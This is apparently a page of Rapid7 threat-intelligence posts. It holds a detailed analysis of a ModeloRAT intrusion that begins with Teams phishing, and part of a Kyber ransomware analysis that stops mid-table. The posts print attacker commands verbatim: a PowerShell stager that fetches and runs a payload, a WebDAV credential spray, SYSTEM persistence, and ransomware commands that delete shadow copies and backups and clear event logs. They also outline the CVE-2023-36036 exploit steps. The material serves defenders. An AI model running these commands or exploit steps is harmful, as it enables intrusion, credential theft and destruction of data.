Normal view

There are new articles available, click to refresh the page.
Today — 14 May 2026Rapid7 Cybersecurity Blog

When IT Support Calls: Dissecting a ModeloRAT Campaign from Teams to Domain Compromise

13 May 2026 at 10:44

Overview

Attackers do not need to break into the front door when they can convince employees to open it for them through the tools they already trust.

In April 2026, Rapid7 investigated an enterprise intrusion that began with a Microsoft Teams message from a fake “IT Support” account and quickly escalated into a full compromise chain involving malware deployment, privilege escalation, credential theft, lateral movement, and exfiltration. The incident illustrates a critical risk for modern enterprises: Collaboration platforms have become part of the attack surface, and when combined with identity abuse and Living-off-the-Land techniques, they can provide attackers with a low-friction path into the environment.

Therefore, this attack was particularly concerning due to the way the intrusion shifted from endpoint compromise to broader identity-driven risk. And while it was not surprising that the attacker used a novel technique, what was concerning was how the attacker was able to chain together familiar enterprise weaknesses into a fast-moving and operationally effective intrusion.

By abusing Teams external access, the threat actor delivered a Dropbox-hosted Python payload that established command-and-control, deployed multiple backdoors, and began mapping the internal environment. The attacker then escalated privileges to SYSTEM using CVE-2023-36036 before deploying a fake Windows lock screen designed to harvest the user’s domain password.

Once valid credentials were obtained, the intrusion shifted from endpoint compromise to broader identity-driven risk. The attacker moved laterally to a second host, used legitimate tooling such as DumpIt to collect system memory, which was likely exfiltrated via an anonymous file-sharing service. This progression underscores a key reality for defenders: Once collaboration, identity, and endpoint controls are bypassed or weakened, attackers can rapidly convert initial access into meaningful enterprise exposure.

Rapid7’s technical analysis linked the Python malware to ModeloRAT, a framework previously documented by multiple security vendors in browser extension campaigns and associated with the KongTuke group. More broadly, this intrusion demonstrates how trusted communication channels, Living-off-the-Land techniques, and credential-focused tradecraft continue to challenge traditional security controls. The takeaways here are clear:

For CISOs: Collaboration tools are part of your attack surface. Attackers used Teams to reach users directly. Security, identity protection, endpoint visibility, and rapid detection engineering must be treated as connected parts of the same defense strategy, not separate control domains.

For defenders: Old vulnerabilities and trusted tools still work. The attack combined a patched vulnerability (CVE-2023-36036) with widely trusted tools like Python, PowerShell, and Dropbox. None of these are unusual in enterprise environments, which is precisely what allowed the attacker to blend in while moving quickly. It’s an obvious restatement, but external access should always be controlled and monitored. 

The challenge isn’t identifying one suspicious event; it’s recognizing when normal activity starts to form a pattern, and acting before that pattern turns into widespread exposure.

Rapid7 coverage

Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.

ModeloRAT-attack-chain-teams-payload.png
Figure 1: Attack chain from Teams phishing to payload delivery, ModeloRAT execution, privilege escalation, and lateral movement with exfiltration.

A door that was never closed

The intrusion started with abuse of Microsoft Teams external access. This feature, enabled by default in some environments, allows users in one tenant to initiate direct chats with users in another. In our incident, the attacker used a newly created tenant UCICasociacion.onmicrosoft[.]com to impersonate “IT Support” and messaged a targeted employee.

This approach mirrors tradecraft seen in Octo Tempest-style campaigns. Octo Tempest (alias Scattered Spider, UNC3944, 0ktapus) is a financially motivated cybercriminal group active since 2022, known for aggressive social engineering tactics including helpdesk impersonation, SIM swapping, and MFA manipulation. 

Shortly after the interaction, a hidden PowerShell command executed on the victim’s machine, staging the initial payload.

Stager: Bring your own Python

Within minutes of the Teams interaction, a PowerShell stager executed on the endpoint and reached out to Dropbox to retrieve a ZIP archive (Winp.zip) into the user’s AppData directory.

The archive was immediately extracted and deleted, likely to reduce on-disk artifacts and avoid potentially raising suspicion.

The payload contained a portable WinPython environment, which the attacker used to launch the next stage:

  • collector.py (reconnaissance)

  • Pmanager.py (primary C2 agent, Modelo RAT)

Execution was handled via pythonw.exe, which allowed the script to run in the background without showing the terminal window.

iwr -Uri "https://www.dropbox[.]com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:appdata\Winp.zip"; 
Expand-Archive -Path "$env:appdata\Winp.zip" -DestinationPath "$env:appdata"; 
rm "$env:appdata\Winp.zip"; 
Start-Sleep -Seconds 5; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\collector.py; 
Start-Sleep -Seconds 30; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\Pmanager.py; 
Start-Sleep -Seconds 5

Figure 2: PowerShell stager retrieving and executing portable Python payload.

Reconnaissance: Environment discovery via native tools

The first Python module executed by the attacker was collector.py, a post-exploitation information gatherer designed to silently profile the host and save the results to %TEMP%\configA.json. Additionally, before any of the recon the collector.py computes a host fingerprint. This 8-character fingerprint is what the operator's C2 server uses to identify this victim.

The script gathered the following information:

System identity and patch level

systeminfo, domain queries

Privilege context

whoami /all and .NET Security.Principal checks (USER / ADMIN / SYSTEM)

Processes and services

Get-Process, Get-Service

Network visibility

getmac.exe, arp -a, Get-NetTCPConnection, ping.exe

Domain visibility

ran adsisearcher to enumerate accessible systems

AV-Solutions

Securityhealthhost.exe, which is commonly used to verify if anti-virus solutions are running on the system

Table 1: Host Reconnaissance and Environment Enumeration.

All of these commands were executed through hidden PowerShell sessions using the CREATE_NO_WINDOW flag, allowing the script to run in the background without spawning visible console windows.

Part of reconnaissance was also a collection of installed hotfixes and system version data. The attacker was able to assess whether the host was vulnerable to a version-specific local privilege escalation exploit later used in the intrusion.

Additionally, collector.py and all other python modules dropped by malware were obfuscated. However, it was not difficult to recover code structure close to the original. 

Obfuscated-collector-py.png
Figure 3: Obfuscated collector.py

Stage 2: Ties to ModeloRAT

Shortly after reconnaissance is completed, the attack shifts into its second stage as with the execution of Pmanager.py.

pythonw.exe ...\python\Pmanager.py start

Figure 4: Execution of Pmanager.py initiating second-stage C2 activity.

As soon as it is started, the script creates a long-running HTTP beacon over port 80 that rotates across 5 hardcoded C2 servers: 46.225.231[.]170, 144.172.99[.]68, 64.94.85[.]158, 140.82.6[.]45, and 45.76.241[.]51.

The script can load DLLs via rundll32.exe, launch additional Python scripts, run PowerShell commands, or install .msi packages. It also handles persistence and can update or remove itself. The reconnaissance output saved in configA.json is sent back to the C2, giving the operator a full picture of the host before issuing further tasks.

This behavior closely matches the ModeloRAT framework documented by Huntress (KongTuke / CrashFix campaigns). Its communication format, persistence mechanisms, and delivery model all match what has been previously observed, with no significant deviations.

The key difference is in initial access: Where earlier campaigns relied on malicious browser extensions, this intrusion used Microsoft Teams social engineering to achieve execution.

The on-demand shells and the WebDAV 

Pmanager quickly deployed its first additional module USOShared1297.py onto the infected host. This module is a TCP reverse shell that opens 2 outbound sockets to one of 3 hardcoded C2 IPs (144.172.88[.]18, 64.190.113[.]187, 45.59.122[.]231. The port 50508 is reserved for the interactive shell that the attacker can use and port 60503 is for file transfer. The shell itself is a cmd.exe spawned using CreatePipe and CreateProcessA with the CREATE_NO_WINDOW and STARTF_USESTDHANDLES flags.

This access was then used to test credential reuse across the environment through repeated WebDAV authentication attempts against internal systems.

rundll32.exe davclnt.dll,DavSetCookie <HOST> http://<TARGET>/C%24/Windows

Figure 5: WebDAV authentication spray using davclnt.dll (DavSetCookie)

The DavSetCookie API forces Windows to initiate a WebDAV authentication attempt using the current user’s credentials. In effect, it allows the attacker to validate where those credentials are accepted without deploying additional tools. Within minutes, successful logon events started to appear across more than 100 internal systems.

The HTTP shell – internal.py

Not long after, the attacker added a second way into the system by deploying back-to-back Microsoft5237.py dropped to %TEMP% and internal.py dropped to WPy64-31401\python. Later analysis showed they were actually the same file, just renamed (both had the same SHA-256 hash: 930263c0843744e269b615fb2ec79f83d7bd8b2cbf75e31fd5ea6c1aaa4e48fd). The attacker was reusing the same backdoor under different names.

Each script launched a hidden PowerShell session. First it checked whether the system was domain-joined, and then set up a persistent remote shell.

powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystem).Domain"
powershell -NoProfile -NoExit -Command -

Figure 6: The -NoExit flag keeps PowerShell running in the background, while the trailing “-” allows it to accept commands remotely.

From there, internal.py turned that session into a full HTTP-based control channel. It registered with the C2 /handshake, continuously polled for instructions via /command/<id>, executed them inside the PowerShell session, and returned output via /output/<id>. The same channel handles file upload, download, and also screenshot capture. All of this communication ran over port 80 to 87.120.186[.]229 and 149.248.78[.]202, blending in with normal web traffic.

Stage 3: Privilege escalation via CVE-2023-36036

After gaining remote access, the attacker executed ssss.dll to escalate privileges.

rundll32.exe ssss.dll startproc Mw2[REDACTED]

Figure 7: Execution of ssss.dll via rundll32.

The argument that was passed to startproc is a decryption key. The startproc function uses Mw2[REDACTED] to decrypt the payload.

The ssss.dll (SHA-256: b00c1cbcfb98d2618a5c2ccb311da94f3c57709a397be6c8de29839f4e943976) is a reflective loader. The loader is using that key to decrypt an embedded payload in memory and execute it. The decrypted payload is testdllLPE.dll (SHA-256: d84245f3a374dd5eff8ecfdfad39077d76331fde799e5306430d0fc788db7f1d), a custom privilege escalation exploit targeting CVE-2023-36036. This vulnerability is a heap-based buffer overflow in cldflt.sys, the Windows Cloud Files Mini Filter Driver.

Within seconds, the helper thread launched internal.py under a SYSTEM token, confirming that the exploit successfully modified the process privileges.

What is CVE-2023-36036?

The Cloud Files driver is what makes OneDrive's "Files On-Demand" work, allowing placeholder files to appear locally while being backed by cloud storage. Sync providers (OneDrive, Dropbox, Box) register themselves with the driver using the Cloud Files API, and the driver brokers I/O between the filesystem and the provider.

CVE-2023-36036 is a heap buffer overflow in how cldflt.sys processes messages from these providers. By sending crafted data through the driver’s communication interface, an attacker can overflow an internal buffer and corrupt adjacent memory. With controlled heap layout, this corruption becomes a kernel write primitive.

Reused technique, adapted exploit

While analyzing the CVE-2023-36036 exploit, it became clear that the threat actor did not build their methodology from scratch. STAR Labs documented a similar chain in their analysis of CVE-2021-31969 also in cldflt.sys. Their work outlined the core steps: Register a fake sync provider, shape the kernel heap, trigger the overflow, and overwrite a token.

The exploit we analyzed follows the same general playbook, but adapts it for the CVE-2023-36036 vulnerability.

The threat actor reused three core steps from the STAR Labs research to stabilize their exploit:

Sync provider registration. The exploit registers itself as "PLURIBUS" with GUID {904EE598-0511-4664-82A8-22C4A7501044}, pointing to %TEMP%\cldflt. This causes the driver to treat the directory as a valid Cloud Files root and route file operations through the vulnerable path.

WNF heap shaping. The exploit uses 4 undocumented ntdll syscalls: NtCreateWnfStateName, NtUpdateWnfStateData, NtDeleteWnfStateData, and NtQueryWnfStateData to allocate a large number of small objects in the kernel pool. This shapes memory so the overflow lands on controlled data instead of random structures. Without this step, the buffer overflow in cldflt.sys would write to unpredictable addresses and can crash the system

Data-Only Token Overwrite. Instead of using process injection or shellcode, the exploit uses its own token in kernel memory by flipping a privilege bit to gain SYSTEM access. What sets testdllLPE.dll apart is what the operator added on top of that scaffolding.

Kernel discovery method. It probes the kernel address range in 1 MB steps, measuring minute differences in memory access latency to identify ntoskrnl base. This avoids calling privileged APIs.

Decoupled execution model. Instead of elevating the thread running the exploit, this binary spawns a helper thread that continuously polls PrivilegeCheck(SeDebugPrivilege). This allows the main exploit thread to crash, hang, or retry the kernel write multiple times without losing the payload. The moment the kernel finally flips the privilege bit, the helper thread detects the change and immediately launches internal.py as SYSTEM.

Trigger path. The vulnerability is reached through the driver’s message handling path. When processing a FilterSendMessage request, cldflt.sys copies attacker-controlled data into a fixed-size buffer without proper bounds checking, overflowing into adjacent memory, specifically a function pointer.

To trigger execution, the exploit creates a placeholder file within the fake sync root and writes to it.

CVE-2023-36036-startproc-trigger-sequence.png
Figure 8: CVE-2023-36036 trigger sequence in startproc. A crafted 512-byte message is delivered via FilterSendMessage, a 1024-iteration WNF spray seats the fake kernel object, and the closing WriteFile fires the corrupted callback.

When the driver intercepts the write to Link.log, it invokes the corrupted function pointer. This results in a controlled kernel write, which flips the SeDebugPrivilege bit in the helper thread's token.

After the WriteFile call completes, the main exploit thread exits. The helper thread, which was polling PrivilegeCheck(SeDebugPrivilege) once per second since the exploit started, detects the change and breaks out of its loop. At this point, the privilege escalation has succeeded. The helper thread immediately launches the payload. 

Helper-thread-execution-after-privilege-escalation.png
Figure 9: Helper thread execution after privilege escalation succeeds.

Stage 4: Post-exploitation 

The newly spawned internal.py process was running under a SYSTEM token. The attacker confirmed this with whoami and immediately created a scheduled task (TempLogA) to execute internal.py daily at 13:00 with SYSTEM privileges.

schtasks /create /tn TempLogA 
  /tr "C:\Users\USER\AppData\Roaming\WPy64-31401\python\pythonw.exe internal.py" 
/sc daily /st 13:00 /ru SYSTEM /rl HIGHEST /f

Figure 10: Creation of SYSTEM-level scheduled task (TempLogA) for persistence.

With persistence in place, the attacker moved on to Active Directory enumeration.

$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetDirectoryEntry().distinguishedName
$s = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://$d")
$s.PageSize = 1000
$s.Filter = "(objectClass=user)"
$s.FindAll().Count

Figure 11: Powershell command returns the total number of domain user accounts.

Shortly after, the compromised account established a remote PowerShell session (WinRM) to a second host. Once connected, additional enumeration commands were executed through the remote PowerShell process (wsmprovhost.exe), extending visibility beyond the initial system.

Expanding the foothold

Within hours of privilege escalation and enumeration, 3 additional Python modules were deployed:

Microsoft5237.py: HTTP beacon to 87.120.186.229 and 149.248.78.202. Captures screenshots via PowerShell, monitors user logins/logouts, uploads files to C2.

Dell508.py: Reverse TCP tunnel to 207.246.114.50 and 149.28.96.170 on port 80, disguised as HTTP upgrade. C2 server instructs victim to connect to specific internal targets; victim relays traffic bidirectionally.

PCDr6967.py: SOCKS5 proxy to 96.9.125.29, 144.172.111.49, and 104.194.152.246 on port 50504. Routes attacker's tools (RDP, browsers, Nmap) through victim into internal network.

Stage 5: The lock screen that wasn't

Roughly two hours after privilege escalation, the attacker deployed a second DLL.

rundll32.exe com6848.dll,open e8vy[REDACTED]

Figure 12: Execution of com6848.dll via rundll32 to deploy credential harvesting payload.

The com6848.dll (SHA-256: 30e5a6c982396cdf3157195b540f75096869baa8570f66fab88c07c161be27f0, internal name apple.dll) is a 32-bit DLL with a single export open. Its .rdata section is over 5 MB and contains an encrypted payload. The decryption key was conveniently provided on the command line by the attacker.

Once decrypted, the DLL reflectively loads a second stage stage2.dll (SHA-256: f5b2dbd8ec9671c0261f093ebc5f3d35920b592458a3b800cc946265111e67d0). This DLL renders a perfect replica of the Windows 10 lock screen, using the embedded font to ensure visual accuracy even on systems where the font isn’t installed. The user sees what appears to be a normal screen lock and types their password to unlock it. The DLL captures it, and writes the result to disk as yyyy-mm-dd-Log.txt

What the credential unlocked

Wait, didn't the operator already have SYSTEM privileges? Why bother with a fake lock screen?

By this point, indeed the operator had SYSTEM-level access on the host. What they didn't have, though, was the user's domain credentials. SYSTEM can authenticate using the machine account, but it cannot authenticate as the user. It can't access user-specific resources, such as file shares requiring the user's permissions, mailboxes, web applications expecting user credentials, or RDP sessions that need to establish an interactive logon as that specific domain account.

The same evening, the attacker used harvested credentials to authenticate via RDP to another workstation in the network. DNS logs showed connections to Dropbox and some internal systems. Additionally, they also performed Kerberoasting against service accounts, requesting vulnerable Kerberos tickets in an attempt to expand access within the environment.

The following morning, the attacker returned to the second host via RDP and used Microsoft Edge to download the Comae toolkit, including DumpIt, a legitimate memory acquisition tool. Two minutes after unarchiving the Comae toolkit, the threat actor navigated within the browser to uploadnow[.]io, which offers free anonymous file upload features. During this browser session, the threat actor searched via Bing if SwissTransfer was a safe site to transfer large files, likely evaluating additional exfiltration methods. 

Shortly after, DumpIt.exe was executed on the second host. DumpIt captures physical RAM, including LSASS process memory, which can contain cleartext passwords, NTLM hashes, and Kerberos tickets. Based on timing and network activity, the memory dump was likely exfiltrated via uploadnow[.]io.

MITRE ATT&CK techniques

TECHNIQUE ID

TECHNIQUE NAME

T1566.003

Phishing: Spearphishing via Service

T1204.002

User Execution: Malicious File

T1059.001

Command & Scripting: PowerShell

T1059.006

Command & Scripting: Python

T1218.011

System Binary Proxy Execution: Rundll32

T1106

Native API

T1053.005

Scheduled Task/Job: Scheduled Task

T1068

Exploitation for Privilege Escalation

T1134.001

Access Token Manipulation: Token Impersonation

T1134.004

Access Token Manipulation: Parent PID Spoofing

T1562.001

Impair Defenses

T1027

Obfuscated Files or Information

T1027.002

Software Packing

T1027.009

Embedded Payloads

T1620

Reflective Code Loading

T1036.005

Masquerading

T1140

Deobfuscate/Decode Files or Information

T1112

Modify Registry

T1055

Process Injection

T1056.002

Input Capture: GUI Input Capture

T1558.003

Steal or Forge Kerberos Tickets: Kerberoasting

T1003.001

OS Credential Dumping: LSASS Memory

T1003

OS Credential Dumping

T1018

Remote System Discovery

T1087.002

Account Discovery: Domain Account

T1082

System Information Discovery

T1016

System Network Configuration Discovery

T1033

System Owner/User Discovery

T1083

File and Directory Discovery

T1021.006

Remote Services: WinRM

T1021.001

Remote Services: RDP

T1570

Lateral Tool Transfer

T1071.001

Application Layer Protocol: Web Protocols

T1095

Non-Application Layer Protocol

T1090.001

Proxy: Internal Proxy

T1090.002

Proxy: External Proxy

T1572

Protocol Tunneling

T1573

Encrypted Channel

T1132.001

Data Encoding: Standard Encoding

T1568

Dynamic Resolution

T1567.002

Exfiltration Over Web Service

T1041

Exfiltration Over C2 Channel

Indicators of compromise (IOCs)

Category

Indicator Type

Value

Attacker Infrastructure

Rogue M365 Tenant (Sender)

itsupport@UCICasociacion.onmicrosoft.com

Attacker Infrastructure

Tenant GUID

cdc15b4d-6fd6-4e90-9ee9-357fea475047

Attacker Infrastructure

Client Hostnames

RICARDOGARC05B2, KALI-LINUX-2025-2

Attacker Infrastructure

Initial Access Vector

MS Teams external chat (Impersonating "IT Support")

Network C2

Pmanager.py (ModeloRAT Beacon)

46.225.231.170, 144.172.99.68, 64.94.85.158, 140.82.6.45, 45.76.241.51 

Network C2

collector.py (Exfiltration)

87.120.186.229, 149.248.78.202 (Port 80)

Network C2

internal.py / Microsoft5237.py

87.120.186.229, 149.248.78.202 (Port 80)

Network C2

USOShared1297.py (TCP Shell)

144.172.88.18, 64.190.113.187, 45.59.122.231 (Ports 50508, 60503)

Network C2

PCDr6967.py (SOCKS5)

96.9.125.29, 144.172.111.49, 104.194.152.246 (Port 50504)

Network C2

Dell508.py (HTTP Tunnel)

207.246.114.50, 149.28.96.170 (Port 80)

Persistence Host

Cloud Files Provider Name

PLURIBUS

Persistence Host

Cloud Files Provider GUID

{904EE598-0511-4664-82A8-22C4A7501044}

Persistence Host

Registry Persistence Key

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SyncRootManager\PLURIBUS!*

Persistence Host

Sync Root Path

%TEMP%\cldflt\

Persistence Host

Placeholder File

%TEMP%\cldflt\Link.log

More indicators of compromise can be found on Rapid7’s GitHub.

Key findings

  • ModeloRAT pivoted from browser extensions to Teams social engineering.
  • Portable Python environments bypass traditional EDR signatures.
  • CVE-2023-36036 remains effective despite patch availability.
  • Fake lock screens can harvest credentials even with SYSTEM access.
  • WebDAV API abuse provides stealthy credential validation.

It took two days to go from "Hi, this is IT support" to domain-wide credential access using a fake lock screen, a Python based RAT, and a two-year-old kernel exploit. If you were an incident responder, none of these techniques would have been new for you, and that’s the point.

What particularly stands out is how quickly control shifted from endpoint to identity. Once valid credentials were obtained, the environment itself became the attack surface.

Before yesterdayRapid7 Cybersecurity Blog

Kyber Ransomware Double Trouble: Windows and ESXi Attacks Explained

21 April 2026 at 10:38

Overview

For executive leadership, the emergence of Kyber ransomware represents a significant and immediate threat due to its specialized, dual-platform deployment capability targeting mission-critical virtualization infrastructure (VMware ESXi) and core Windows file systems. This cross-platform approach, coupled with effective anti-recovery measures, drastically elevates the risk of a total operational disruption. Organizations should treat Kyber not merely as another ransomware strain, but as a specialized tool capable of causing a complete operational blackout. Recent real-world incidents have demonstrated that this approach can result in large-scale operational impact across enterprise environments.

During a March 2026 incident response engagement, Rapid7 recovered two Kyber ransomware payloads deployed in the same environment, one targeting VMware ESXi infrastructure and the other Windows file servers. This provided a rare opportunity to analyze both variants side by side. In March 2026, Rapid7 recorded over 900 ransomware incidents being publicly reported.

The ESXi variant is specifically built for VMware environments, with capabilities for datastore encryption, optional virtual machine termination, and defacement of management interfaces. The Windows variant, written in Rust, includes a self-described “experimental” feature for targeting Hyper-V.

Despite these differences, both samples share a campaign identifier and Tor-based ransom infrastructure, confirming coordinated cross-platform deployment. Notably, the ransomware’s cryptographic claims are not consistent across variants. The ESXi sample advertises “post-quantum” encryption using Kyber1024, but in practice relies on ChaCha8 with RSA-4096 key wrapping, while the Windows variant does implement the advertised hybrid scheme. As usual, ransom notes prove to be more aspirational than accurate.

Kyber is a relatively new ransomware group that has recently gained visibility. Despite this, public technical analysis of the malware remains limited. The lack of spotlight on the group presented an opportunity to share our findings with the community.

Technical analysis

Kyber is a cross-platform ransomware family targeting Linux/ESXi and Windows environments. Both variants share Tor infrastructure and a campaign ID, but differ in programming language they are written, crypto, and features. While both reference the same encryption scheme in their ransom notes, only the Windows variant appears to implement it as described.

Property

ELF (Linux/ESXi)

PE (Windows)

Language

C++, GCC 4.4.7 (2012)

Rust, MSVC 19.36 / VS2022

Actual crypto

ChaCha + RSA-4096

AES-256-CTR + Kyber1024 + X25519

Note claims

AES + X25519 + Kyber

AES + X25519 + Kyber

Extension

.xhsyw

.#~~~

Ransom note

readme.txt

READ_ME_NOW.txt

VM targeting

Native esxcli

PowerShell Get-VM (experimental)

Anti-recovery

None

11 commands (elevation required)

In addition, both variants share a common campaign ID and Tor-based infrastructure, including a negotiation portal and leak site, indicating coordinated operations across platforms.

Campaign ID: 5176[REDACTED]

Tor chat: Mlnmlnnrdhcaddwll4zqvfd2vyqsgtgj473gjoehwna2v4sizdukheyd[.]onion

Tor blog: Kyblogtz6k3jtxnjjvluee5ec4g3zcnvyvbgsnq5thumphmqidkt7xid[.]onion

Chat path: /chat/5176[REDACTED]

Linux/ESXi variant

The Linux/ESXi variant SHA-256: 6ccacb7567b6c0bd2ca8e68ff59d5ef21e8f47fc1af70d4d88a421f1fc5280fc is a 64-bit ELF executable, not stripped, written in C++ and statically linked against OpenSSL 1.0.1e-fips.

The sample was developed to target ESXi environments. As shown in Figure 2, the help text for the required path argument explicitly references the datastore path /vmfs/volumes, the root directory in VMware ESXi hosts where VMFS (Virtual Machine File System) datastores are mounted. The malware also relies on ESXi-native tooling esxcli and targets VMware-specific paths and artifacts.

target-path-binary-help-text-names-vmfs-volumes.png
Figure 1: The binary's help text names /vmfs/volumes as the intended target path.

The execution flow is straightforward:

  1. Parse CLI arguments (path required, size validated 0–100)

  2. Initialize logging (optional)

  3. Optionally enumerate and terminate VMs (vmkill)

  4. Load embedded RSA-4096 public key

  5. Initialize thread pool (capped at 12 threads)

  6. Traverse directories and submit encryption jobs

Background execution

To ensure encryption continues after an SSH session ends, the malware implements a detach flag. When enabled, it forks and exits the parent process, allowing the child to run in the background. The child then calls setsid() to detach from the controlling terminal, avoiding the SIGHUP signal typically sent when a session closes.

This allows the attacker to disconnect safely while encryption of /vmfs/volumes datastores continues uninterrupted in the background.

Targeting VMware

If the vmkill flag is set, the binary enumerates all running VMs before starting encryption. It forks a child process that executes the ESXi-native management command esxcli vm process list, redirecting its output to a temporary file via dup2(). The output is then parsed line by line to extract Display Name and World ID pairs.

If a whitelist is provided via the whitelist argument, matching VMs are skipped. All other VMs are terminated sequentially using esxcli vm process kill type=soft world-id <id>, with the parent process waiting for each shutdown to complete before proceeding.

Two implementation choices stand out here. First, the ransomware uses fork/execlp rather than system(). By calling fork() and then execlp() directly, ransomware developers bypass the shell entirely. This means the arguments are passed as a null-terminated array of strings (argv) directly to the execve system call. If a VM name contained a space or a special character, a system() call might crash or behave unexpectedly, but execlp ensures the command is executed exactly as intended. This suggests the developer is familiar with low-level system programming.

Second, the use of type=soft requests a graceful shutdown rather than a forced termination. This likely reduces the risk of corrupting VM disk state prior to encryption. After issuing shutdown commands, the binary sleeps briefly for about ~2 seconds before continuing, allowing ESXi to complete the operation. 

Directory traversal

The malware performs a recursive directory walk to identify targets. Interestingly enough, it drops a readme.txt ransom note into every folder before the encryption routine begins. The traversal logic does not follow symbolic links, as traversing them can lead to unexpected areas of the filesystem. The sample does not implement an extension allowlist. Files are encrypted unless explicitly excluded.

The binary explicitly ignores files with the following extensions or names:

.xhsyw (already encrypted)
.locksignal, .processing, .cryptdata_backup
.tmp, readme.txt
.sf (VMware System Files)

Figure 2: Confirmed exclusion list from protecting in-progress files, already-encrypted files, and VMware system files from double-processing.

Encryption: marketing vs reality

The ransom note claims that for encryption it uses AES-256-CTR, X25519 and Kyber1024 algorithms. 

Ransom-note-embedded-ELF.png
Figure 3: Ransom note embedded in the ELF binaries claims AES-256-CTR and X25519/Kyber1024 algorithms.

Our technical analysis, however, says otherwise. Decompilation of the core encryption logic shows the cipher is actually ChaCha8. Two indicators support this conclusion. First, in the ECRYPT_encrypt_bytes subroutine (Figure 5) the loop executes 8 rounds (i = 8; i > 0; i -= 2), and the code applies 32-bit right rotations with constants 16, 20, 24, and 25. These correspond to the standard ChaCha left-rotation constants (16, 12, 8, and 7) defined in RFC 8439.

IDA-decompilation-ECRYPT-encrypt-bytes-function.png
Figure 4: IDA decompilation of ECRYPT_encrypt_bytes function

Second, the ECRYPT_keysetup function (Figure 6) uses the "expand 32-byte k" sigma constant. For 256-bit keys, the malware initializes its state by placing this constant in words 0–3 and the key in words 4–11 — mirroring the standard ChaCha layout.

IDA-decompilation-ECRYPT-keysetup-function.png
Figure 5: IDA decompilation of ECRYPT_keysetup function

OpenSSL is statically linked but only handles RSA-4096 key wrapping. We did not find any “post-quantum”. The operator likely just copy-pasted the ransom note from a Windows variant that actually supports Kyber1024.

Partial encryption strategy

Partial encryption logic is size-based encryptFilePartly() function.

  • Files under 1MB: entire file encrypted

  • Files between 1MB and 4MB: first 1MB encrypted

  • Files above 4 MB: only a calculated portion of each file is encrypted, with the proportion controlled by size; the program validates this value as 0–100 in main(), and the default observed setting is 10.

  • This approach significantly reduces encryption time while still rendering large files (e.g., VMDKs) unusable.

Encryption workflow

Each file is encrypted with a unique ChaCha8 key. Before encrypting the file, the binary creates a .locksignal file and renames the original to .processing to prevent concurrency. It then checks the last 535 bytes for a metadata trailer containing the markers KYBER, CDTA, and ATDC. If these are present, the file is skipped as already encrypted.

For new targets, the malware generates a 40-byte key/IV set and wraps it using an embedded RSA-4096 public key. This metadata is appended to the file and verified before encryption begins. A redundant copy is also saved as <file>.cryptdata_backup. Encryption is performed in-place in 1 MB chunks. On success, the file is renamed from .processing to .xhsyw. Any files left with the .processing suffix indicate an interrupted or failed encryption attempt.

Defacing every entry point

Even before encryption, ransomware binary replaces three specific files:

  • SSH Access replaces /etc/motd (Message of the Day), displaying the ransom note immediately to anyone logging in via SSH.

  • Web Management replaces the VMware web UI index pages at both /usr/lib/vmware/hostd/docroot/index.html and the Host Client interface at /usr/lib/vmware/hostd/docroot/ui/index.html.

Whether an administrator logs in via SSH or hits the web management portal, they are immediately met with the ransom note. On non-ESXi systems where these paths don't exist, the rename fails gracefully and execution continues.

Execution-log-from-REMnux-test.png
Figure 6: Execution log from REMnux test: defacement fails gracefully on non-ESXi, encryption proceeds.

Windows variant

The Windows sample SHA-256: 45bff0df2c408b3f589aed984cc331b617021ecbea57171dac719b5f545f5e8d is a 64-bit PE executable written in Rust and compiled with MSVC (VS2022). Much like the ESXi variant, the Windows binary as well is not packed, obfuscated, or even stripped. It retains full Rust panic strings and cargo dependency paths, including the build path C:\Users\user\.cargo\registry\src\index.crates.io-6f17d22bba15001f.

Additionally, the binary’s version flag reveals the project name as win_encryptor 1.0.

Ransomwares-CLI-interface.png
Figure 7: Ransomware's CLI interface

The Windows binary exposes a minimal CLI (Figure 8), requiring the path argument to specify the target directory. It also includes system flag which is self-described as "experimental" and intended to enforce a hard-stop on Hyper-V virtual machines.

Ransomware initializes full runtime initialization, even if invoked with just help flag. It aggregates entropy from four sources: system time, Windows CSPRNG, processor-based entropy via RDRAND, and running process data and producing ~30 KB of randomness to seed an internal AES-CTR DRBG. Unlike typical ransomware, which often relies only on BCryptGenRandom, this strain implements a custom entropy pipeline which suggests the developer cared about key material quality.

After initialization, the binary checks whether it is running with elevated privileges by attempting to acquire SeDebugPrivilege and logs are printed to the console (see Figure 8).

This privilege check determines if the destructive commands will be executed. Without elevation, the binary only does file encryption. With elevation, it unlocks its full toolkit: killing services, modifying the registry, and wiping shadow copies to prevent recovery.

Service termination and anti-recovery

When running with elevated privileges the binary first terminates services matching five patterns: msexchange, vss, backup, veeam, and sql using OpenSCManagerA, EnumServicesStatusA, and ControlService API calls. The malware forces the system locale to en-US before service enumeration. This normalization makes certain that pattern matching for service names remains reliable regardless of the victim's native system language.

It then executes 11 commands via CreateProcessW that you can see in the table below

#

Command

Purpose

1

powershell -ep bypass -nop -c "Get-WmiObject -Class Win32_ShadowCopy \| ForEach-Object { $_.Delete() }"

Delete VSS shadow copies via WMI

2

wmic.exe SHADOWCOPY DELETE /nointeractive

Delete shadow copies via WMIC

3

vssadmin.exe Delete Shadows /all /quiet

Delete shadow copies via vssadmin

4

bcdedit.exe /set {default} recoveryenabled No

Disable Windows Recovery Environment

5

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

Suppress boot failure prompts

6

wbadmin DELETE SYSTEMSTATEBACKUP

Delete system state backups

7

wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest

Delete oldest system state backup

8

iisreset.exe /stop

Stop IIS to release locked web files

9

reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f

Increase SMB concurrent connections

10

for /F "tokens=*" %i in ('wevtutil el') do wevtutil cl "%i"

Clear all Windows event logs

11

